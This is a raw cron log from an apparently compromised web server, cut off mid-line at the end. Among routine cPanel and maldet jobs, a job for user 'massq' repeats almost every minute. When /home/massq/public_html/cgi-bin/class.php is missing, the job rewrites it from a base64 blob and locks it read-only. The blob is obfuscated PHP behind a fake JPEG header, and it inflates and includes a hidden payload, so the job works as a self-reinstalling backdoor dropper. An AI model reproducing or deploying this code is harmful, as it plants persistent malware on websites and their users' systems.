Apr  7 09:45:01 server CROND[22440]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 09:45:01 server CROND[22441]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 09:46:01 server CROND[22641]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 09:47:01 server CROND[22703]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 09:48:01 server CROND[22752]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 09:49:01 server CROND[22817]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 09:50:01 server CROND[22892]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 09:50:01 server CROND[22893]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  7 09:50:01 server CROND[22895]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 09:50:01 server CROND[22896]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 09:50:01 server CROND[22898]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 09:51:01 server CROND[23113]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 09:52:01 server CROND[23197]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 09:53:01 server CROND[23255]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 09:54:01 server CROND[23307]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 09:55:01 server CROND[23366]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 09:55:01 server CROND[23367]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 09:55:01 server CROND[23368]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 09:56:01 server CROND[23567]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 09:57:01 server CROND[23627]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  7 09:57:01 server CROND[23629]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 09:58:01 server CROND[23738]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiY